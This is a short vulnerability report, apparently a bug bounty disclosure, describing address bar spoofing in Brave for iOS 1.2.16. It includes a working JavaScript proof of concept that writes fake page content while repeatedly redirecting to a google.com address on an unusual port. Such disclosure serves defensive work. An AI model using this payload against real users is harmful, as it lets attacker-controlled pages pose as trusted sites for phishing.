[ios] Address bar spoofing in Brave for iOS

How it was found

Hey

Summary:

I've found an address bar spoofing vulnerability in the latest version of Brave for iOS.

Products affected:

Brave for iOS 1.2.16

(Android maybe?)

PoC:

<script>
  var spoof = function(){
      document.write("<h1>This is not Google</h1>");
      document.location = "https://google.com:1234";
      setInterval(function(){document.location="https://google.com:1234";},9800);
  };
</script>

<input type="button" value="Spoof" onclick="spoof();" />

Supporting Material/References:

{F128949}

Regards, Ibram